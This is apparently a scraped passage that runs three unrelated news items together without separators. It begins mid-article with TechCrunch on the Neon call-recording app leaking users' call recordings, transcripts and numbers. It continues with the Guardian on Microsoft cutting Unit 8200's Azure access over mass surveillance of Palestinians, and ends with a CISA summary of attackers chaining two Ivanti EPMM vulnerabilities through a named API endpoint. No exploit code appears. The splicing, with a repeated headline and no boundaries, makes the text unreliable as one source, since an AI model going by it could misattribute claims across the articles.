After making some test phone calls, the app showed us a list of our most recent calls and how much money each call earned. But our network analysis tool revealed details that were not visible to regular users in the Neon app. These details included the text-based transcript of the call and a web address to the audio files, which anyone could publicly access as long as they had the link.
For example, here you can see the transcript from our test call between two TechCrunch reporters confirming that the recording worked properly.
a JSON response from Neon Mobile's server, which reads as transcript text from a call between two TC reporters, which says: "Uh, it worked. Hooray. Okay. Thanks, mate."
Image Credits:TechCrunch
But the back-end servers were also capable of spitting out reams of other people’s call recordings and their transcripts.
In one case, TechCrunch found that the Neon servers could produce data about the most recent calls made by the app’s users, as well as providing public web links to their raw audio files and the transcript text of what was said on the call. (The audio files contain recordings of just those who installed Neon, not those they contacted.)
Similarly, the Neon servers could be manipulated to reveal the most recent call records (also known as metadata) from any of its users. This metadata contained the user’s phone number and the phone number of the person they’re calling, when the call was made, its duration, and how much money each call earned.
A review of a handful of transcripts and audio files suggests some users may be using the app to make lengthy calls that covertly record real-world conversations with other people in order to generate money through the app.
App shuts down, for now
Soon after we alerted Neon to the flaw on Thursday, the company’s founder, Kiam, sent out an email to customers alerting them to the app’s shutdown.
“Your data privacy is our number one priority, and we want to make sure it is fully secure even during this period of rapid growth. Because of this, we are temporarily taking the app down to add extra layers of security,” the email, shared with TechCrunch, reads.
Notably, the email makes no mention of a security lapse or that it exposed users’ phone numbers, call recordings, and call transcripts to any other user who knew where to look.
It’s unclear when Neon will come back online or whether this security lapse will gain the attention of the app stores.
Apple and Google have not yet commented following TechCrunch’s outreach about whether or not Neon was compliant with their respective developer guidelines.
However, this would not be the first time that an app with serious security issues has made it onto these app marketplaces. Recently, a popular mobile dating companion app, Tea, experienced a data breach, which exposed its users’ personal information and government-issued identity documents. Popular apps like Bumble and Hinge were caught in 2024 exposing their users’ locations. Both stores also have to regularly purge malicious apps that slip past their app review processes.
When asked, Kiam did not immediately say if the app had undergone any security review ahead of its launch, and if so, who performed the review. Kiam also did not say, when asked, if the company has the technical means, such as logs, to determine if anyone else found the flaw before us or if any user data was stolen.
TechCrunch additionally reached out to Upfront Ventures and Xfund, which Kiam claims in a LinkedIn post have invested in his app. Neither firm has responded to our requests for comment as of publication.
Exclusive: Tech firm ends military unit’s access to AI and data services after Guardian reveals secret spy project
Microsoft blocks Israel’s use of its technology in mass surveillance of Palestinians
Exclusive: Tech firm ends military unit’s access to AI and data services after Guardian reveals secret spy project
Microsoft has terminated the Israeli military’s access to technology it used to operate a powerful surveillance system that collected millions of Palestinian civilian phone calls made each day in Gaza and the West Bank, the Guardian can reveal.
Microsoft told Israeli officials late last week that Unit 8200, the military’s elite spy agency, had violated the company’s terms of service by storing the vast trove of surveillance data in its Azure cloud platform, sources familiar with the situation said.
The decision to cut off Unit 8200’s ability to use some of its technology results directly from an investigation published by the Guardian last month. It revealed how Azure was being used to store and process the trove of Palestinian communications in a mass surveillance programme.
In a joint investigation with the Israeli-Palestinian publication +972 Magazine and the Hebrew-language outlet Local Call, the Guardian revealed how Microsoft and Unit 8200 had worked together on a plan to move large volumes of sensitive intelligence material into Azure.
The project began after a meeting in 2021 between Microsoft’s chief executive, Satya Nadella, and the unit’s then commander, Yossi Sariel.
In response to the investigation, Microsoft ordered an urgent external inquiry to review its relationship with Unit 8200. Its initial findings have now led the company to cancel the unit’s access to some of its cloud storage and AI services.
Equipped with Azure’s near-limitless storage capacity and computing power, Unit 8200 had built an indiscriminate new system allowing its intelligence officers to collect, play back and analyse the content of cellular calls of an entire population.
The project was so expansive that, according to sources from Unit 8200 – which is equivalent in its remit to the US National Security Agency – a mantra emerged internally that captured its scale and ambition: “A million calls an hour.”
According to several sources, the enormous repository of intercepted calls – which amounted to as much as 8,000 terabytes of data – was held in a Microsoft datacentre in the Netherlands. Within days of the Guardian publishing the investigation, Unit 8200 appears to have swiftly moved the surveillance data out of the country.
According to sources familiar with the huge data transfer outside of the EU country, it occurred in early August. Intelligence sources said Unit 8200 planned to transfer the data to the Amazon Web Services cloud platform. Neither the Israel Defense Forces (IDF) nor Amazon responded to a request for comment.
The extraordinary decision by Microsoft to end the spy agency’s access to key technology was made amid pressure from employees and investors over its work for Israel’s military and the role its technology has played in the almost two-year offensive in Gaza.
A United Nations commission of inquiry recently concluded that Israel had committed genocide in Gaza, a charge denied by Israel but supported by many experts in international law.
The Guardian’s joint investigation prompted protests at Microsoft’s US headquarters and one of its European datacentres, as well as demands by a worker-led campaign group, No Azure for Apartheid, to end all ties to the Israeli military.
No Azure for Apartheid demonstrators
On Thursday, Microsoft’s vice-chair and president, Brad Smith, informed staff of the decision. In an email seen by the Guardian, he said the company had “ceased and disabled a set of services to a unit within the Israel ministry of defense”, including cloud storage and AI services.
Smith wrote: “We do not provide technology to facilitate mass surveillance of civilians. We have applied this principle in every country around the world, and we have insisted on it repeatedly for more than two decades.”
The decision brings to an abrupt end a three-year period in which the spy agency operated its surveillance programme using Microsoft’s technology.
Unit 8200 used its own expansive surveillance capabilities to intercept and collect the calls. The spy agency then used a customised and segregated area within the Azure platform, allowing for the data to be retained for extended periods of time and analysed using AI-driven techniques.
Although the initial focus of the surveillance system was the West Bank, where an estimated 3 million Palestinians live under Israeli military occupation, intelligence sources said the cloud-based storage platform had been used in the Gaza offensive to facilitate the preparation of deadly airstrikes.
The revelations highlighted how Israel has relied on the services and infrastructure of major US technology companies to support its bombardment of Gaza, which has killed more than 65,000 Palestinians, mostly civilians, and created a profound humanitarian and starvation crisis.
cisa.gov
The Cybersecurity and Infrastructure Security Agency (CISA) obtained two sets of malware, five files in total, from an organization where cyber threat actors exploited CVE-2025-4427 [CWE-288: Authentication Bypass Using an Alternate Path or Channel] and CVE-2025-4428 [CWE-‘Code Injection’] in Ivanti Endpoint Manager Mobile (Ivanti EPMM) deployments for initial access.
Note: Ivanti provided a patch and disclosed the vulnerabilities on May 13, 2025. CISA added both vulnerabilities to its Known Exploited Vulnerabilities Catalog on May 19, 2025.
Around May 15, 2025, following publication of a proof of concept, the cyber threat actors gained access to the server running EPMM by chaining these vulnerabilities. The cyber threat actors targeted the /mifs/rs/api/v2/ endpoint with HTTP GET requests and used the ?format= parameter to send malicious remote commands. The commands enabled the threat actors to collect system information, download malicious files, list the root directory, map the network, execute scripts to create a heapdump, and dump Lightweight Directory Access Protocol (LDAP) credentials.
CISA analyzed two sets of malicious files the cyber threat actors wrote to the /tmp directory. Each set of malware enabled persistence by allowing the cyber threat actors to inject and run arbitrary code on the compromised server.
CISA encourages organizations to use the indicators of compromise (IOCs) and detection signatures in this Malware Analysis Report to identify malware samples. If identified, follow the guidance in the Incident Response section of this Malware Analysis Report. Additionally, organizations should ensure they are running the latest version of Ivanti EPMM as soon as possible.